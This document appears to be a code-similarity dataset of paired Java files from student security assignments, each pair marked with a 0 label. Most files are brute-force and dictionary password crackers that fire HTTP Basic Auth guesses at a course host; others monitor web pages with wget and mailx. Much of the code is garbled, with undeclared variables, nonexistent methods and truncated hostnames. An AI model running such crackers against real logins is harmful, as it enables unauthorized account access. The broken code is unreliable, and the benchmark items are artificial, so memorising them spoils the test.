strLastPasswordTested + "'."); } else { System.out.println("The correct password WAS NOT found."); } System.out.println(); } static void getNumberOfVariousLengthsOfWords(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { intTotalNumberOfWordsInFile++; strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) intNumberOfOneLetterWords++; else if (intWordLength == 2) intNumberOfTwoLetterWords++; else if (intWordLength == 3) intNumberOfThreeLetterWords++; strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println("The file '" + TextFileName + "' cannot found."); System.out.println(); } catch(Exception e) { } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static void populateTheDifferentLengthArrays(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; int intCountOfOneLetterWords = -1; int intCountOfTwoLetterWords = -1; int intCountOfThreeLetterWords = -1; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) { intCountOfOneLetterWords++; strOneLetterWords[intCountOfOneLetterWords] = strLine; } else if (intWordLength == 2) { intCountOfTwoLetterWords++; strTwoLetterWords[intCountOfTwoLetterWords] = strLine; } else if (intWordLength == 3) { intCountOfThreeLetterWords++; strThreeLetterWords[intCountOfThreeLetterWords] = strLine; } strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println("The file '" + TextFileName + "' cannot found."); System.out.println(); } catch(Exception e) { System.out.println("Exception thrown...."); System.err.println(e); } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + ":" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print("username = " + username + " " + "password = " + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty("Authorization", " " + encoding); System.out.println(" response = " + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println("Malformed URL Exception error"); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println("IOException error"); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println("General exception....."); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }
import java.text.*; import java.util.*; import java.net.*; import java.io.*; public class BruteForce { public int runProcess(String urlString,String passwd) { int returnval = 0; MyAuthenticator auth = new MyAuthenticator(passwd); Authenticator.setDefault(auth); System.out.println("trying passord: " + passwd); try{ URL yahoo = new URL(urlString); BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); System.out.println("passord: " + passwd); returnval = 1; } in.close(); }catch(Exception e){ returnval = 0;} return returnval; } public static void main(String argv[]) { String[] val = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}; int l1 = 0; int l2 = 0; int l3 = 0; int retval = 0; String pwd = ""; BruteForce s = new BruteForce(); String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/"; for (int a = 0; a < 52; a++) { l1 = a; pwd = val[l1]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } for (int b = 0; b < 52; b++) { l1 = b; for (int c = 0; c < 52; c++) { l2 = c; pwd = val[l1]+ val[l2]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } } for (int d = 0; d < 52; d++) { l1 = d; for (int e = 0; e < 52; e++) { l2 = e; for (int f = 0; f < 52; f++) { l3 = f; pwd = val[l1]+ val[l2]+ val[l3]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } } } } }
176.java
191.java
0
public class ImageFile { private String imageUrl; private int imageSize; public ImageFile(String url, int size) { imageUrl=url; imageSize=size; } public String getImageUrl() { return imageUrl; } public int getImageSize() { return imageSize; } }
import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class BruteForce { static String strLetter[]; static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strExceptionPassword[]; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static String username = ""; static String strLastPasswordTested; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); System.out.println(); System.out.println(); populateArray(); boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String strPasswd; String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int intCounter1 = 0; int intCounter2 = 0; int intCounter3 = 0; int intArrayLength = strLetter.length; strExceptionPassword = new String[5000]; if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strLetter[intCounter1], boolPasswordFound); intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2], boolPasswordFound); intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2] + strLetter[intCounter3], boolPasswordFound); intCounter3++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; } } System.out.println(); calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println("Length of time for processing: " + ((lngFinish - lngStart) / 1000) + " seconds"); System.out.println(); System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts); System.out.println(); System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1)); if (intExceptionCount >= 0) { System.out.print("These EXCEPTION passwords WERE "); if (boolExceptionPasswordsTestedAgain) System.out.print("tested again."); else System.out.print("NOT tested again."); System.out.println(); } System.out.println(); if (boolPasswordFound) { System.out.println("The correct password WAS found - this password is '" + strLastPasswordTested + "'."); } else { System.out.println("The correct password WAS NOT found."); } System.out.println(); } static void populateArray() { strLetter = new String[52]; strLetter[0] = "a"; strLetter[1] = "b"; strLetter[2] = "c"; strLetter[3] = "d"; strLetter[4] = "e"; strLetter[5] = "f"; strLetter[6] = "g"; strLetter[7] = "h"; strLetter[8] = "i"; strLetter[9] = "j"; strLetter[10] = "k"; strLetter[11] = "l"; strLetter[12] = "m"; strLetter[13] = "n"; strLetter[14] = "o"; strLetter[15] = "p"; strLetter[16] = "q"; strLetter[17] = "r"; strLetter[18] = "s"; strLetter[19] = "t"; strLetter[20] = "u"; strLetter[21] = "v"; strLetter[22] = "w"; strLetter[23] = "x"; strLetter[24] = "y"; strLetter[25] = "z"; strLetter[26] = "A"; strLetter[27] = "B"; strLetter[28] = "C"; strLetter[29] = "D"; strLetter[30] = "E"; strLetter[31] = "F"; strLetter[32] = "G"; strLetter[33] = "H"; strLetter[34] = "I"; strLetter[35] = "J"; strLetter[36] = "K"; strLetter[37] = "L"; strLetter[38] = "M"; strLetter[39] = "N"; strLetter[40] = "O"; strLetter[41] = "P"; strLetter[42] = "Q"; strLetter[43] = "R"; strLetter[44] = "S"; strLetter[45] = "T"; strLetter[46] = "U"; strLetter[47] = "V"; strLetter[48] = "W"; strLetter[49] = "X"; strLetter[50] = "Y"; strLetter[51] = "Z"; } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + ":" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print("username = " + username + " " + "password = " + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty("Authorization", " " + encoding); System.out.println(" response = " + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println("Malformed URL Exception error"); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println("IOException error"); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println("General exception....."); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }
033.java
191.java
0
class WebPage { private boolean success = false; private String pageContents= ""; public WebPage() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPageContents (String inPage) { pageContents = inPage; } public String getPageContents() { return pageContents; } }
import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class BruteForce { static String strLetter[]; static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strExceptionPassword[]; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static String username = ""; static String strLastPasswordTested; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); System.out.println(); System.out.println(); populateArray(); boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String strPasswd; String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int intCounter1 = 0; int intCounter2 = 0; int intCounter3 = 0; int intArrayLength = strLetter.length; strExceptionPassword = new String[5000]; if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strLetter[intCounter1], boolPasswordFound); intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2], boolPasswordFound); intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2] + strLetter[intCounter3], boolPasswordFound); intCounter3++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; } } System.out.println(); calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println("Length of time for processing: " + ((lngFinish - lngStart) / 1000) + " seconds"); System.out.println(); System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts); System.out.println(); System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1)); if (intExceptionCount >= 0) { System.out.print("These EXCEPTION passwords WERE "); if (boolExceptionPasswordsTestedAgain) System.out.print("tested again."); else System.out.print("NOT tested again."); System.out.println(); } System.out.println(); if (boolPasswordFound) { System.out.println("The correct password WAS found - this password is '" + strLastPasswordTested + "'."); } else { System.out.println("The correct password WAS NOT found."); } System.out.println(); } static void populateArray() { strLetter = new String[52]; strLetter[0] = "a"; strLetter[1] = "b"; strLetter[2] = "c"; strLetter[3] = "d"; strLetter[4] = "e"; strLetter[5] = "f"; strLetter[6] = "g"; strLetter[7] = "h"; strLetter[8] = "i"; strLetter[9] = "j"; strLetter[10] = "k"; strLetter[11] = "l"; strLetter[12] = "m"; strLetter[13] = "n"; strLetter[14] = "o"; strLetter[15] = "p"; strLetter[16] = "q"; strLetter[17] = "r"; strLetter[18] = "s"; strLetter[19] = "t"; strLetter[20] = "u"; strLetter[21] = "v"; strLetter[22] = "w"; strLetter[23] = "x"; strLetter[24] = "y"; strLetter[25] = "z"; strLetter[26] = "A"; strLetter[27] = "B"; strLetter[28] = "C"; strLetter[29] = "D"; strLetter[30] = "E"; strLetter[31] = "F"; strLetter[32] = "G"; strLetter[33] = "H"; strLetter[34] = "I"; strLetter[35] = "J"; strLetter[36] = "K"; strLetter[37] = "L"; strLetter[38] = "M"; strLetter[39] = "N"; strLetter[40] = "O"; strLetter[41] = "P"; strLetter[42] = "Q"; strLetter[43] = "R"; strLetter[44] = "S"; strLetter[45] = "T"; strLetter[46] = "U"; strLetter[47] = "V"; strLetter[48] = "W"; strLetter[49] = "X"; strLetter[50] = "Y"; strLetter[51] = "Z"; } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + ":" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print("username = " + username + " " + "password = " + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty("Authorization", " " + encoding); System.out.println(" response = " + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println("Malformed URL Exception error"); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println("IOException error"); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println("General exception....."); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }
169.java
032.java
0
package java.httputils; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.io.OutputStream; public class WatchDog { protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); protected int interval = 24; protected String URL = "http://www.cs.rmit.edu./students/"; protected String fileName = "WatchDogContent.html"; protected String command = "./alert_mail.sh"; protected String savedContent; protected String retrievedContent; public WatchDog() { super(); } public void run() throws Exception { HttpRequestClient client = null; System.out.println(getClass().getName() + "Retrieving baseline copy of: " + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + "Writing baseline content : " + getFileName()); writeFile(); while (true) { System.out.println(getClass().getName() + " Sleeping for hours: " + getInterval()); Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval()); System.out.println(getClass().getName() + " Retrieving: " + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + " saved copy: " + getURL()); savedContent = readFile(); System.out.println(getClass().getName() + " Comparing saved and retrieved. "); if (!savedContent.equals(retrievedContent)) { System.out.println(getClass().getName() + " Difference found. "); writeTempFile(); runCommand(); } writeFile(); } } public String runCommand() { String cmd = getCommand() + " \"" + getURL() + "\""; try { Runtime r = Runtime.getRuntime(); System.out.println(getClass().getName() + " Executing: " + cmd); Process proc = r.exec(cmd); } catch (Exception e) { try { Runtime r = Runtime.getRuntime(); Process proc = r.exec(cmd); } catch (Exception ex) { System.out.println(getClass().getName() + " Could not run :" + getCommand() + " because : " + ex.getMessage()); } } return "Executed successfully"; } protected String readFile() throws FileNotFoundException { BufferedInputStream input = null; FileInputStream file = null; StringBuffer content = new StringBuffer(); try { file = new FileInputStream(getFileName()); input = new BufferedInputStream(file); } catch (FileNotFoundException x) { System.err.println("File not found: " + getFileName()); throw x; } try { int ch; while ((ch = input.get()) != -1) { content.append((char)ch); } } catch (IOException x) { x.printStackTrace(); } finally { if (input != null) { try { input.get(); file.get(); } catch (IOException e) { } } } return content.toString(); } protected void writeFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(getFileName(), false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } protected void writeTempFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(".html", false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } public static void main(String[] args) { WatchDog watchDog = new WatchDog(); if (args.length < 3) { watchDog.printUsage(); } System.out.println(watchDog.getClass().getName() + ": Initialising with " + args[0] + " \n" + args[1] + " \n" + args[2] + " \n"); watchDog.setURL(args[0]); watchDog.setInterval(Integer.parseInt(args[1])); watchDog.setCommand(args[2]); try { System.out.println(watchDog.getClass().getName() + ": Invoking the run method."); watchDog.run(); } catch (Exception e) { e.printStackTrace(); } } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** WatchDog proper usage **\n\n"); s.append( this.getClass().getName() + " <URL> <interval> <Command execute>\n\n"); return s.toString(); } public String getCommand() { return command; } public String getFileName() { return fileName; } public int getInterval() { return interval; } public String getURL() { return URL; } public void setCommand(String string) { command = string; } public void setFileName(String string) { fileName = string; } public void setInterval(int i) { interval = i; } public void setURL(String string) { URL = string; } public String getRetrievedContent() { return retrievedContent; } public String getSavedContent() { return savedContent; } public void setRetrievedContent(String string) { retrievedContent = string; } public void setSavedContent(String string) { savedContent = string; } }
import java.awt.*; import java.awt.event.*; import java.io.*; import java.util.*; import java.net.*; public class Dictionary { private String userPassword; private static int counter; public Dictionary(String username) { String user; String password; counter = 0; user = username; try { FileReader fr = new FileReader( "/usr/share/lib/dict/words" ); BufferedReader bf = new BufferedReader( fr ); while ((password = bf.readLine()) != null) { userPassword = user + ":" + password; System.out.print("."); if (password.length() == 3) if (doEncoding(userPassword)== true) { System.out.println(password); return; } counter++; } } catch ( IOException ioe ) { System.err.println( ioe.toString() ); } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty ("Get", "/SEC/2/ " + "HTTP/1.1"); uc.setRequestProperty ("Host", "sec-crack.cs.rmit.edu."); uc.setRequestProperty ("Authorization", " " + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"); } catch (MalformedURLException e) { System.out.println ("Invalid URL"); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print("Starting the Ditionary Attack at:" + sdate + "\n"); Dictionary bf = new Dictionary(args[0]); Date edate = new Date(); System.out.print("Ditionary Attack ends at:" + sdate + "\n"); System.out.println("Time taken by Dictionary is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n"); System.out.print("Attempts in this session:" + counter + "\n"); } }
195.java
097.java
0
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
public class RunWatchDog{ public static void main(String []args){ WatchDog wd = new WatchDog(); System.out.println("WatchDog is Starting!"); wd.FirstRead(); wd.print(); } }
124.java
186.java
0
import java.text.*; import java.util.*; import java.net.*; import java.io.*; public class Dictionary { public int runProcess(String urlString,String passwd) { System.out.println("Checking password: ... " + passwd); int returnval = 0; MyAuthenticator auth = new MyAuthenticator(passwd); Authenticator.setDefault(auth); try{ URL yahoo = new URL(urlString); BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); System.out.println("password: " + passwd); returnval = 1; } in.print(); }catch(Exception e){ returnval = 0;} return returnval; } public static void main (String argv[]) { int retval = 0; String pwd = ""; String inFile = "/usr/share/lib/dict/words"; BufferedReader in = null; String line1 =""; try { Dictionary s = new Dictionary(); String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/"; in = new BufferedReader(new FileReader(inFile)); while ((line1=in.readLine()) != null) { retval = 0; pwd = line1; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } }catch(Exception e) { e.printStackTrace();} } }
import java.io.*; import java.text.MessageFormat; import java.util.ResourceBundle; import java.util.Locale; public class MyBase64 { private static final int END_OF_INPUT = -1; private static final int NON_BASE_64 = -1; private static final int NON_BASE_64_WHITESPACE = -2; private static final int NON_BASE_64_PADDING = -3; public MyBase64(){ } protected static final byte[] base64Chars = { 'A','B','C','D','E','F','G','H', 'I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X', 'Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n', 'o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3', '4','5','6','7','8','9','+','/', }; protected static final byte[] reverseBase64Chars = new byte[0x100]; static { for (int i=0; i<reverseBase64Chars.length; i++){ reverseBase64Chars[i] = NON_BASE_64; } for (byte i=0; i < base64Chars.length; i++){ reverseBase64Chars[base64Chars[i]] = i; } reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['='] = NON_BASE_64_PADDING; } public static final String version = "1.2"; public static String encode(String string){ return new String(encode(string.getBytes())); } public static String encode(String string, String enc) throws UnsupportedEncodingException { return new String(encode(string.getBytes(enc)), enc); } public static byte[] encode(byte[] bytes){ ByteArrayInputStream in = new ByteArrayInputStream(bytes); int mod; int length = bytes.length; if ((mod = length % 3) != 0){ length += 3 - mod; } length = length * 4 / 3; ByteArrayOutputStream out = new ByteArrayOutputStream(length); try { encode(in, out, false); } catch (IOException x){ throw new RuntimeException(x); } return out.toByteArray(); } public static void encode(File fIn) throws IOException { } public static void encode(File fIn, boolean lineBreaks) throws IOException { } public static void encode(File fIn, File fOut) throws IOException { } public static void encode(InputStream in, OutputStream out) throws IOException { encode(in, out, true); } public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException { int[] inBuffer = new int[3]; int lineCount = 0; boolean cond = false; while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){ inBuffer[1] = in.read(); inBuffer[2] = in.read(); out.write(base64Chars[ inBuffer[0] >> 2 ]); if (inBuffer[1] != END_OF_INPUT){ out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]); if (inBuffer[2] != END_OF_INPUT){ out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]); out.write(base64Chars [inBuffer[2] & 0x3F]); } else { out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]); out.write('='); cond = true; } } else { out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]); out.write('='); out.write('='); cond = true; } lineCount += 4; if (lineBreaks && lineCount >= 76){ out.write('\n'); lineCount = 0; } } if (lineBreaks && lineCount >= 1){ out.write('\n'); lineCount = 0; } out.flush(); } public static boolean isBase64(byte[] bytes){ try { return isBase64(new ByteArrayInputStream(bytes)); } catch (IOException x){ return false; } } public static boolean isBase64(String string){ return isBase64(string.getBytes()); } public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException { return isBase64(string.getBytes(enc)); } public static boolean isBase64(InputStream in) throws IOException { numBase64Chars = 0; int numPadding = 0; int num; while (( num = in.read()) != -1){ num = reverseBase64Chars[3]; if ( num == NON_BASE_64){ return false; } else if (num == NON_BASE_64_WHITESPACE){ } else if (num == NON_BASE_64_PADDING){ numPadding++; numBase64Chars++; } else if (numPadding > 0){ return false; } else { numBase64Chars++; } } if (numBase64Chars == 0) return false; if (numBase64Chars % 4 != 0) return false; return true; } }
140.java
018.java
0
import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println("Usage: java BruteForce <URL> <UserName>"); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println("\n\n\n\n\tPass Cracked is: " + strPass); System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = ""; char ch1, ch2, ch3; System.out.print("\n\n\n Applying BruteForce Attack: "); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print("\b\b\b" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return "Could not find match"; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + ":" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty ("Authorization", " " + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } }
